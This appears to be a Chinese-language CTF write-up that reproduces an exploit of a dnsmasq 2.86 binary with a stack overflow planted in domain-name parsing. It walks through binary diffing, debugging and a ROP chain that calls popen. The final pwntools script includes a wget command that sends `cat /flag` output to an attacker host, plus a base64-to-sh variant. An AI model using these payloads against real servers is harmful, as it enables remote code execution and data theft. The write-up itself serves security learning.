比赛时,雅儒为Redbud拿下本题一血,我为赛后复现。题目为DNS服务器软件dnsmasq 2.86,漏洞为人工埋入的域名字段栈溢出。由于交互接口为真实网络程序的socket,因此如何将flag带出成为本题的重点。这里我使用ROP,并结合栈溢出崩溃现场残留的寄存器信息,完成了任意命令的popen调用,最终使用wget将flag带出。
- 附件:dns.zip
- 官方WP:writeup.md
- 出题人:ACTF出题(dropper+master_of_dns)
确认软件
题目是个DNS服务器:
需要使用libc 2.28以上才能正常启动本题,虽然题目把具体的dns软件名隐去了,但通过2.86的版本号还是能很明显的看出来,软件为dnsmasq-2.86.tar.gz:
➜ ./dns --help
Usage: dns [options]
➜ ./dns -v
Dns version 2.86
对于给出真实软件的CTF题目,漏洞可能是真实存在的1day或者0day,也有可能是出题人埋进去的一个漏洞。对于dnsmasq,能找到一些堆溢出引发的DoS,以及对较老的2.78版本(2017年)的RCE,但是没有找到新版本可RCE的漏洞或者披露文章,所以看起来埋洞的可能性更大。
- Behind the Masq: Yet more DNS, and DHCP, vulnerabilities
- https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=dnsmasq
- Dnsmasq < 2.78 - Heap Overflow
漏洞挖掘
首先进行基本检查,x86,无符号,没canary,可以猜测大概率是栈溢出:
➜ file ./dns
./dns: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), stripped
➜ checksec ./dns
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
虽然给出的二进制无符号,但其也是一款开源软件,因此基本不需要逆向。对于本题,一款有源码的dns软件,我们有四种角度,或者说手段,来处理他,认识他:
- 源码
- 二进制
- gdb调试
- 流量调试
二进制比对
猜测是埋洞,又知道此开源软件的具体版本号,所以可以自己编译一个对应版本然后进行二进制比对。之前虽然使用过bindiff:思科路由器 RV110W CVE-2020-3331 漏洞复现,但之前是diff一个厂商的升级前后的二进制,没有自己编译的机会。如果是自行编译,有以下两点需要注意:
- 编译器版本
- 编译选项
首先不同的编译器,或者相同编译器的不同版本,其编译的行为可能不同,这将会为二进制比对造成麻烦,因此我们需要尽量使用与目标完全一致的编译器。通过题目二进制中的字符串信息可以看出来题目是使用了ubuntu20.04的gcc 9.4.0,经过确认这就是ubuntu20.04下默认apt安装的gcc:
➜ strings ./dns | grep GCC
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
➜ gcc --version
gcc (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
然后是编译选项,需要根据目标属性,做到与目标尽量一致,所以对软件的makefile进行如下修改,主要是四个属性:
开始没注意到要关pie和canary,多亏雅儒提醒
- -m32 : 生成32为代码
- -fno-stack-protector : 关canary
- -no-pie : 关PIE
- 删掉-O2,关闭编译优化
CFLAGS = -m32 -fno-stack-protector -Wall -W
LDFLAGS = -m32 -no-pie
然后编译即可,编译出的二进制默认生成在软件源码中的src目录下:
➜ make
➜ file ./src/dnsmasq
./src/dnsmasq: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), not stripped
然后即可使用bindiff进行二进制比对,可以发现,相似度不为100%的只有以下10个函数,那可以挨个的看过去:
最终锁定extract_name函数,在题目二进制中为sub_0804F345函数,很明显题目多了个memcpy:
这个memcpy还是往栈上拷贝,结合题目没有canary,那必然是这个点的栈溢出无疑了:
可以参考源码发现,这个memcpy的src为extract_name函数name参数:
dnsmasq-2.86/src/rfc1035.c
int extract_name(struct dns_header *header, size_t plen, unsigned char **pp,
char *name, int isExtract, int extrabytes)
那这个参数究竟是不是我们查询的域名呢?除了阅读源码进行分析,我们可以通过调试更迅速的确认。
gdb调试
找到调用此memcpy的代码地址:
.text:0804F435 push [ebp+n] ; n
.text:0804F438 push [ebp+src] ; src
.text:0804F43B lea eax, [ebp+dest]
.text:0804F441 push eax ; dest
.text:0804F442 mov ebx, edx
.text:0804F444 call _memcpy
题目dns服务的启动方法运行在后台(通过-d参数可以直接启动在前台),我们尽量与题目保持一致:
➜ ./dns -C ./dns.conf
➜ ps -ef | grep dns
xuanxuan 6363 1914 0 08:06 ? 00:00:00 ./dns -C ./dns.conf
但不知道为什么明明是个普通用户的进程gdb却挂不上,只能使用root用户的gdb附加到此进程上,所以要把root用户的gdb插件安装好,然后正常把断点打在疑似漏洞的memcpy上:
➜ gdb --pid 6363
ptrace: Operation not permitted.
➜ sudo gdb --pid 6363
pwndbg> b * 0x804F444
Breakpoint 1 at 0x804f444
pwndbg> c
发起一个正常的dns查询:
➜ dig @127.0.0.1 -p 9999 baidu.com
即可断下,确认拷贝的字段还真是域名:
Breakpoint 1, 0x0804f444 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────[ DISASM ]───────────────────────────────────
► 0x804f444 call memcpy@plt <memcpy@plt>
dest: 0xffbfc2f7 ◂— 0x9bea000
src: 0x9f075b0 ◂— 'baidu.com'
n: 0xa
尝试发送较长域名发现,dig直接会提示过长无法发送,要求域名中每个段标签(两个点之间的字符串)长度不能超过63个字节,这其实是在rfc1035中规定的:
➜ dig @127.0.0.1 -p 9999 baidu.comaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
dig: 'baidu.comaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
is not a legal IDNA2008 name (domain label longer than 63 characters), use +noidnin
流量调试
既然用工具不是灵活,那就看看dns请求数据包的格式到底是什么样把!
➜ dig @127.0.0.1 -p 9999 baidu.com
wireshark抓一个下来:
DNS中必选数据如下:
0000 cd 36 01 20 00 01 00 00 00 00 00 01 05 62 61 69
0010 64 75 03 63 6f 6d 00 00 01 00 01
- 前面一个头:
cd 36 01 20 00 01 00 00 00 00 00 01
,前两个字节的Transaction ID(cd 36)可以随意 - 后面一个尾:
00 01 00 01
- Additional records:经过测试可以删掉
- 主要是域名字段:会把baidu.com其中的点拆成长度:
\x05 baidu \x03 com \x00
所以看起来除了域名每个label的长度需要控制为63(0x3f)字节以外(服务端dnsmasq会检查),没有其他需要重新计算的字段(长度,校验码等),因此手工构造也没有太多麻烦。虽然可以用scapy,但是更喜欢彻底控制每一个字节,因此使用pwntools手工构造,结合在sub_0804F345函数中会判断name总长度不能大于0x400,域名的每一段label的长度为0x40(0x3f+0x1),因此在一个域名中,总共可以构造0x10段长度为0x3f的label,在整个域名的后面有一个00空字节不要忘了加。根据IDA,拷贝目标的栈变量dest离栈底只有0x381字节,所以妥妥栈溢出:
from pwn import *
io = remote("127.0.0.1",9999,typ='udp')
head = bytes.fromhex("000001200001000000000001")
payload = (b'\x3f'+b'a'*0x3f)*16 + b'\x00'
end = bytes.fromhex("00010001")
io.send(head + payload + end)
果然溢出,而且可以看到,发送的每段label前的长度,比如这里的0x3f最终在memcpy已经被转换成了点(0x2e):
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────── ───────[ REGISTERS ]───────────────────────────
*EBX 0x612e6161 ('aa.a')
*ECX 0xffb99b00 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
*EDX 0xffb997a7 ◂— 0x61616161 ('aaaa')
EDI 0xf7f35000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0x940a9c0 ◂— 0x2910
*EBP 0x61616161 ('aaaa')
*ESP 0xffb99b30 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
*EIP 0x61616161 ('aaaa')
───────────────────────[ DISASM ]────────────────────────────
Invalid address 0x61616161
溢出长度
经过测试,溢出长度以最终memcpy时的数据视角为0x385,以payload视角为0x386(由于长度字段会被处理成点):
这里在14段满长0x3f的段后跟了一个长度为4的小段,是为了让之后ROP链从一个新的label开头开始,切分整齐,方便处理
from pwn import *
io = remote("127.0.0.1",9999,typ='udp')
payload = (b'\x3f'+b'a'*0x3f)*14
payload += b'\x04'+b'a'*4
payload += b'\x04'+p32(0xdeadbeef)
payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")
io.send(head + payload + end)
成功劫持eip为0xdeadbeef:
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*EAX 0x61616161 ('aaaa')
*EBX 0x612e6161 ('aa.a')
*ECX 0xffb38e40 ◂— 0x61616161 ('aaaa')
*EDX 0xffb38b47 ◂— 0x61616161 ('aaaa')
EDI 0xf7f41000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0x89939c0 ◂— 0x2910
*EBP 0x2e616161 ('aaa.')
*ESP 0xffb38ed0 —▸ 0x8994000 —▸ 0x8993fc0 —▸ 0x8993fe0 ◂— 'misses.bind'
*EIP 0xdeadbeef
───────────────────────────────────[ DISASM ]───────────────────────────────────
Invalid address 0xdeadbeef
以memcpy时的数据视角,溢出长度确实为0x385:
pwndbg> x /20wx 0xffb38b47-0x10
0xffb38b37: 0x00038a08 0x04f35800 0x00000008 0x00000000
0xffb38b47: 0x61616161 0x61616161 0x61616161 0x61616161
0xffb38b57: 0x61616161 0x61616161 0x61616161 0x61616161
0xffb38b67: 0x61616161 0x61616161 0x61616161 0x61616161
0xffb38b77: 0x61616161 0x61616161 0x61616161 0x2e616161
pwndbg> x /20wx $esp - 0x10
0xffb38ec0: 0x61616161 0x612e6161 0x2e616161 0xdeadbeef
0xffb38ed0: 0x08994000 0x0000039b 0xffb38efc 0x089935b0
0xffb38ee0: 0x00000001 0x00000004 0xffb39038 0x080516ed
0xffb38ef0: 0x00000000 0x00000000 0xffb38f00 0x08994437
0xffb38f00: 0x00000004 0x080a5d98 0xffb39038 0x08065c04
pwndbg> p /x (0xffb38ecc - 0xffb38b47)
$1 = 0x385
漏洞利用
载荷限制
根据溢出点限制以及构造数据包的要求,在漏洞利用时需要注意payload的限制:
- 溢出长度有限:0x400 - 0x385 = 123
- 按照0x3f为一段,溢出长度只有不到两段
- 两段之间最后在memcpy时,必然会以0x2e进行分割,需要考虑如何处理
- 经过测试,整个域名数据中,不能有空字符,否则会被截断
通信信道
然后需要考虑利用方法,对于真实网络服务软件的漏洞利用,不能使用标准输入输出来获取到远程的shell,之前写过:Getshell远程:真·RCE 正连?反连?不连?,因此控制流劫持的目标不能是one_gadget这种东西。本题栈溢出,有NX,所以首先必然是ROP,程序中没有直接的mprotect,也不存在直接泄露libc到udp信道并且可交互的办法,所以应该就是纯靠ROP完成利用。对于真实网络服务,把flag带出来的方法,可以从信道的构建分为两种方法:复用信道和新建信道。
复用信道
即本身建立的信道:把flag拷贝到dns回复相应中并修好正常返回逻辑的栈、直接使用文件描述符向本链接信道写入flag:
- StarCTF 2022 x86 Bare Metal Pwn ping
- ByteCTF 2021 AArch64 Pwn Master of HTTPD
- X-NUCA 2020 Final 团队赛:QMIPS
但是对于本体比较复杂的DNS软件,用ROP拷贝flag到返回数据中再修栈想想就可能会遇到很多问题,并且在udp的server中,不能直接向fd调用write以写入进行数据外带。因为linux设计的udp server的socket,不使用accept函数将每个客户端连接映射为一个fd,而是所有的udp连接都复用同一个文件描述符。于是在对不同客户端回复消息时,显然不能使用write函数,因为仅用write函数只有三个参数,无法区分客户端。其使用sendto函数,并传递从每次recvfrom接收到的客户端信息的结构体sockaddr,以区分客户端:
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
int main(){
char buffer[1024];
struct sockaddr_in server_addr, client_addr;
int len = sizeof(client_addr);
memset(&server_addr, 0, sizeof(server_addr));
memset(&client_addr, 0, sizeof(client_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = INADDR_ANY;
server_addr.sin_port = htons(8080);
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
bind(sockfd, (const struct sockaddr *)&server_addr, sizeof(server_addr));
printf("[+] socket fd : %d\n",sockfd);
while(1){
recvfrom(sockfd, (char *)buffer, 1024, MSG_WAITALL, (struct sockaddr *) &client_addr, &len);
printf("[+] recv socket fd : %d\n",sockfd);
printf("[+] recv client addr : %x\n",client_addr.sin_addr.s_addr);
printf("[+] recv client port : %x\n",client_addr.sin_port);
sendto(sockfd, "Hello", 5, MSG_CONFIRM, (const struct sockaddr *) &client_addr, len);
}
}
可以使用nc连接本地的udp 8080进行测试,的确所有的连接都是同一个fd:
➜ ./test
[+] socket fd : 3
[+] recv socket fd : 3
[+] recv client addr : 10b0b0a
[+] recv client port : 8df5
[+] recv socket fd : 3
[+] recv client addr : 100007f
[+] recv client port : dfa9
所以如果使用此法,还需要用ROP调用sendto,并且还需要知道,或者在内存中寻找到我们连出去的客户端地址信息,并且布置好结构体以调用sendto,这看起来未免麻烦了些。并且远程的tcp端口,的确没有开启,因此我就没有使用这种方法完成本题。
新建信道
另外就是让目标程序和攻击者新建一个信道:命令执行反弹shell、外带flag等:
但因为不知道远程libc版本,ROP也很难打出mprotect进而执行shellcode以反弹shell。所以在纯ROP的情况下,让目标程序新建信道的简单办法就是执行system、popen等shell命令以反弹shell或者外带flag,这类手段在web中更常见。本题代码中虽然没有system函数,但是有popen函数,这给了我们机会:
.text:08071802 push edx ; modes
.text:08071803 push eax ; command
.text:08071804 call _popen
需要注意popen需要两个参数,第二个参数也是个字符串,固定为”r”、”w”等,表示读写:
# include <stdio.h>
int main(){
popen("touch /tmp/x","r");
}
参数布置
确认使用popen后,我们需要考虑popen的参数怎么布置。x86的函数调用参数放在栈上,如果使用ret系列的gadget,ret调用时栈布局该为如下:
低地址
esp -> - popen plt
- ret padding
- p1
- p2
高地址
因为popen的参数是字符串地址,所以需要确认是否有直接可用的固定地址以保存发送的域名数据,可以发送一个特征串,然后调试:
from pwn import *
io = remote("127.0.0.1",9999,typ='udp')
payload = (b'\x3f'+b'a'*0x3f)*14
payload += b'\x04'+b'xdns'
payload += b'\x04'+p32(0xdeadbeef)
payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")
io.send(head + payload + end)
可以发现我们发送的域名数据在发生控制流劫持时,只在堆上和栈上,没有在固定地址的数据段或者bss段上:
pwndbg> search xdns
[heap] 0x8d38930 0x736e6478 ('xdns')
[heap] 0x8d3942d 0x736e6478 ('xdns')
[stack] 0xffd07757 0x736e6478 ('xdns')
由于栈和堆的随机化,我们不能在远程确定其地址,而不确定的地址无法直接通过输入布置为ROP数据。因此我们需要想一个办法,在ROP中可以得到栈或者堆的地址,这时可以利用崩溃现场残存的数据,如栈、寄存器等:
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────
*EAX 0x61616161 ('aaaa')
*EBX 0x782e6161 ('aa.x')
*ECX 0xffe4e540 ◂— 0x61616161 ('aaaa')
*EDX 0xffe4e257 ◂— 0x61616161 ('aaaa')
EDI 0xf7f8c000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0x8d429c0 ◂— 0x2910
*EBP 0x2e736e64 ('dns.')
*ESP 0xffe4e5e0 —▸ 0x8d43000 —▸ 0x8d42fc0 —▸ 0x8d42fe0 ◂— 'misses.bind'
*EIP 0xdeadbeef
─────────────────────────────────[ DISASM ]──────────────────────────────────
Invalid address 0xdeadbeef
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffe4e5e0 —▸ 0x8d43000 —▸ 0x8d42fc0 —▸ 0x8d42fe0 ◂— 'misses.bind'
01:0004│ 0xffe4e5e4 ◂— 0x39b
02:0008│ 0xffe4e5e8 —▸ 0xffe4e60c —▸ 0x8d43437 ◂— 0x1000100
03:000c│ 0xffe4e5ec —▸ 0x8d425b0 ◂— 0x61616161 ('aaaa')
04:0010│ 0xffe4e5f0 ◂— 0x1
05:0014│ 0xffe4e5f4 ◂— 0x4
06:0018│ 0xffe4e5f8 —▸ 0xffe4e748 —▸ 0xffe4e7f8 —▸ 0xffe4e978 ◂— 0x0
07:001c│ 0xffe4e5fc —▸ 0x80516ed ◂— add ebx, 0x546ab
利用崩溃现场的栈
可以发现,当发生崩溃时,栈上有指向堆中保存域名的地址,看起来很有可能构造如下ROP:
from pwn import *
io = remote("127.0.0.1",9999,typ='udp')
# 0x08059d44 : pop eax ; ret
# 0x0804ab40 ; popen()
payload = (b'\x3f'+b'a'*0x3f)*14
payload += b'\x04'+b'a'*4
payload += b'\x0c'+p32(0x08059d44)+p32(0x11223344)+p32(0x0804ab40)
payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")
io.send(head + payload + end)
即企图将栈地址0xffcf041c,0xffcf0420处的值,作为popen的两个参数。但很可惜,虽然第栈上0xffcf041c作为一个参数可用,但由于popen的第二个参数也是字符串指针,而栈上0xffcf0420的值为0x1,不能作为popen的第二个参数,其解引用时必然崩溃:
──────────────────────────────────[ STACK ]──────────────────────────────────
00:0000│ esp 0xffcf040c —▸ 0x8059d44 ◂— pop eax
01:0004│ 0xffcf0410 ◂— 0x11223344
02:0008│ 0xffcf0414 —▸ 0x804ab40 (popen@plt) ◂— endbr32
03:000c│ 0xffcf0418 —▸ 0xffcf0400 ◂— 0x61616161 ('aaaa')
04:0010│ 0xffcf041c —▸ 0x9bfc5b0 ◂— 0x61616161 ('aaaa')
05:0014│ 0xffcf0420 ◂— 0x1
06:0018│ 0xffcf0424 ◂— 0x4
07:001c│ 0xffcf0428 —▸ 0xffcf0578 —▸ 0xffcf0628 —▸ 0xffcf07a8 ◂— 0x0
pwndbg> c
*EDX 0x1
EDI 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESI 0x9bfc5b0 ◂— 0x61616161 ('aaaa')
*EBP 0xf7f32000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
*ESP 0xffcf033c —▸ 0x9c034b0 ◂— 0xfbad248c
*EIP 0xf7db4790 (_IO_proc_open+64) ◂— movzx eax, byte ptr [edx]
─────────────────────────────────[ DISASM ]──────────────────────────────────
► 0xf7db4790 <_IO_proc_open+64> movzx eax, byte ptr [edx]
如果不想直接使用栈上的数据当参数,还有一种思路是把栈上之前的数据pop到寄存器里之后再倒腾。但这意味着ROP链不能覆盖到需要使用的残留数据,这将会导致pop完残留数据后,ROP链很难继续。即栈溢出的ROP链是要连续的向高地址覆盖在栈上,这与利用栈上的残留数据大概率是冲突的。除非找到比较巧妙的抬栈gadget,pop完残留寄存器后,直接把栈迁移到更低的栈地址,如溢出的padding部分,以继续ROP链。
有些类似:Netgear PSV-2020-0432 / CVE-2021-27239 漏洞复现绕过空字符的栈迁移,不过这里是由于可控数据在更高的栈地址,所以把栈地址往高了迁:
总之,从直接利用栈上的残留数据不是很容易,因此我们需要换个思路…
利用崩溃现场的寄存器
发生崩溃时,除了栈,还可以看到ecx和edx寄存器都指向了我们发送的存在栈上的域名数据,并且经过测试,edx指向的数据正是发送数据的开头部分,这给利用带来了一种可能性:
Program received signal SIGSEGV, Segmentation fault.
0xdeadbeef in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────[ REGISTERS ]────────────────────────────────
*EAX 0x61616161 ('aaaa')
*EBX 0x782e6161 ('aa.x')
*ECX 0xffe4e540 ◂— 0x61616161 ('aaaa')
*EDX 0xffe4e257 ◂— 0x61616161 ('aaaa')
EDI 0xf7f8c000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1ead6c
ESI 0x8d429c0 ◂— 0x2910
*EBP 0x2e736e64 ('dns.')
*ESP 0xffe4e5e0 —▸ 0x8d43000 —▸ 0x8d42fc0 —▸ 0x8d42fe0 ◂— 'misses.bind'
*EIP 0xdeadbeef
在题目程序调用popen时,可以直接利用将寄存器压栈的传参的过程,将x86的压栈传参转换为寄存器传参。不过不巧的是,此段gadget使用edx为modes参数,而eax为命令参数:
.text:08071802 push edx ; modes
.text:08071803 push eax ; command
.text:08071804 call _popen
但崩溃现场edx指向可控数据,eax却被溢出覆盖,我们可以很容易的控制eax为已知地址,如0x0809C7B2处有字符串”r”,本就为popen的modes参数:
.rodata:0809C7B2 aR_3 db 'r',0
所以这个调用popen的gadget如果能把push寄存器的顺序调换一下,可能一步就搞定了。不过这个思路仍然可以继续,例如我们可以想办法交换eax与edx,尝试寻找相关gadget,但没有直接ret返回的,不太好用:
➜ ROPgadget --binary ./dns | grep "xchg eax, edx"
0x0804a896 : add al, 0 ; add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x0804a898 : add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x08065781 : inc ebp ; xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b
0x08065780 : mov bh, 0x45 ; xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b
0x0804a895 : sub byte ptr [eax + eax], al ; add cl, ch ; xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x08096592 : xchg eax, edx ; enter 0, 0 ; mov dword ptr [ebp - 4], edx ; jmp 0x80965d9
0x0804a89a : xchg eax, edx ; idiv edi ; jmp dword ptr [esi - 0x70]
0x08065782 : xchg eax, edx ; test ax, ax ; jne 0x80657a1 ; jmp 0x806605b
仍然可以继续想,那能不能使用add eax,edx这种,以完成寄存器数据的传递,的确有可用的:
➜ ROPgadget --binary ./dns | grep "add eax, edx" | grep ret
0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
0x0808787b : add eax, edx ; leave ; ret
所以应该在进行加法之前把eax清掉,但是我们输入的域名数据不能有空字节,因此也就不能通过输入数据直接给eax清零,可以寻找清零的相关gadget。发现异或的没有能用的,但是有直接给eax赋值为0的:
➜ ROPgadget --binary ./dns | grep "xor eax, eax"
0x0808ad7a : xor eax, eax ; neg eax ; adc edx, 0 ; neg edx ; jmp 0x808ad8f
0x0808bc16 : xor eax, eax ; neg eax ; adc edx, 0 ; neg edx ; jmp 0x808bc2b
➜ dns ROPgadget --binary ./dns | grep ret |grep "mov eax, 0"
0x080525db : mov eax, 0 ; pop ebp ; ret
另外还有一个思路,就是通过ROP pop给eax一个大数(有符号下可以理解为负数),然后找个加法gadget给eax清零:
➜ ROPgadget --binary ./dns | grep ret | grep -v "ret " | grep ": add eax, 0x"
0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
0x08056434 : add eax, 0x1b8 ; add cl, cl ; ret
0x0804b8fa : add eax, 0x28 ; pop ebp ; ret
0x08057749 : add eax, 0x4000ba ; add byte ptr [edi], cl ; mov bh, 0x45 ; retf 0xd009
0x0804b319 : add eax, 0x80a6fe0 ; add ecx, ecx ; ret
0x08082067 : add eax, 0x81fffc92 ; ret
0x0804beae : add eax, 0x83000000 ; les esp, ptr [eax] ; leave ; ret
0x08055093 : add eax, 0xb8 ; add cl, cl ; ret
最后只要再控制edx即可:
➜ ROPgadget --binary ./dns --only 'pop|ret' | grep edx
0x0807ec72 : pop edx ; ret
至此,类似交换寄存器这条路应该是可以走通了:
- 首先把命令放在发送数据的开头,崩溃时edx会指向命令处
- 然后在ROP中通过gadget或者加法给eax清零
- 之后用 add eax, edx 把edx给eax
- 继续使用gadget pop edx,把edx控制为字符r的地址0x809C7B2
- 最后调用0x8071802的gagdet完成popen的调用
不过我使用这种方法,在最后调用popen的参数设置看起来是正确的,但是却会调用失败。想了好一会,后来突然发现这个错误我以前犯过:即edx指向的数据开头处(放置命令)的栈地址,是在当前栈地址之上(更低地址)。当进行函数调用时,栈会继续向低地址增长,可能会将我们放置的命令数据覆盖掉,导致popen调用失败。
当年apeng出的题:De1CTF 2020 Web+Pwn mixture,图中栈的方向与gdb打印方向相反。
所以解决方案也很简单,把命令数据放在当前栈顶以下(更高地址)的位置即可。在本题中,我们可以溢出的将近两段长度0x3f的数据,所以可以将命令数据接在ROP链之后,并且单独成段,即一段ROP,一段cmd:
payload += b'\x3f'+rop.ljust(0x3f,b'a')
payload += chr(len(cmd)).encode() + cmd
不过如果是这样,我们在进行add eax, edx时,就需要将eax设置为:cmd到数据开头的偏移。如果将ROP长度固定为0x3f,则cmd到数据开头的偏移为:0x385 + 0x40 = 0x3c5,即需要将eax设置为0x3c5,但是0x3c5以四个字节发送,还是会有空字节,所以直接需要使用对eax进行立即数加法的gadget,例如:
0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
可以将eax提前设置为:0x1000003c5 - 0x11038 = 0xfffef38d,这样进行加法之后,eax即可为0x3c5,并且0xfffef38d中也不存在空字符。
最终exp
完整exp如下,需要把vps服务器地址改一下,另外要注意的是:
- 注意发送数据中不能有空字节,所以这也本题为32位的根本原因,64位下ROP地址必有空字符,无法利用
- 另外因为没有使用scapy,导致发送的数据中不能直接存在点(0x2e),因此使用echo -e “\x2e”绕过ip地址必有的点
- 命令的最大长度为 63 - 5(ROP对齐的padding段)= 58,所以省去了wget的http和端口号
- 本地popen时echo -e转义点不好使,原因不详,但可以使用注释中的base64打(还是wget本地80)
我觉得最后整个ROP链还挺精彩的,利用了一些崩溃现场残存的数据,还使用了一些加加减减的计算绕过空字符
from pwn import *
context(log_level='debug')
io = remote("59.63.224.108",9999,typ='udp')
vps = b"127.0.0.1"
cmd = b'wget `echo -e "%s"`/`cat /flag`' % (vps.replace(b'.',b'\\x2e'))
# cmd = b"echo d2dldCAxMjcuMC4wLjEvYGNhdCAvZipgCg== | base64 -d | sh"
# 0x08059d44 : pop eax ; ret
# 0x08094d60 : add eax, 0x11038 ; nop ; pop ebp ; ret
# 0x0804b639 : add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
# 0x0807ec72 : pop edx ; ret
rop = p32(0x08059d44) # pop eax ; ret
rop += p32(0xfffef38d) # 0xfffef38d + 0x11038 = 0x3c5, eax = edx + 0x3c5, eax will point to cmd
rop += p32(0x08094d60) # add eax, 0x11038 ; nop ; pop ebp ; ret
rop += p32(0x11223344) # padding
rop += p32(0x0804b639) # add eax, edx ; add esp, 0x10 ; pop ebx ; pop ebp ; ret
rop += p32(0x11223344) * 6 # padding
rop += p32(0x0807ec72) # pop edx ; ret
rop += p32(0x0809C7B2) # string r
rop += p32(0x08071802) # push edx(r) ; push eax(cmd) ; call popen
assert(len(rop) < 63)
assert(len(cmd) < 59)
payload = (b'\x3f'+b'a'*0x3f) * 14
payload += b'\x04'+b'a'*4
payload += b'\x3f'+rop.ljust(0x3f,b'a')
payload += chr(len(cmd)).encode() + cmd
payload += b'\x00'
head = bytes.fromhex("000001200001000000000001")
end = bytes.fromhex("00010001")
io.send(head+payload+end)
即可在服务器上收到flag:
ubuntu@VM-16-6-ubuntu:~$ sudo nc -l 80
GET /ACTF%7Bd0M@1n_Po1nt3rs_aR3_VuLn3rab1e_1d7a90a63039831c7fcaa53b766d5b2d!!!!!%7D HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Connection: Keep-Alive
本题flag为:
ACTF{d0M@1n_Po1nt3rs_aR3_VuLn3rab1e_1d7a90a63039831c7fcaa53b766d5b2d!!!!!}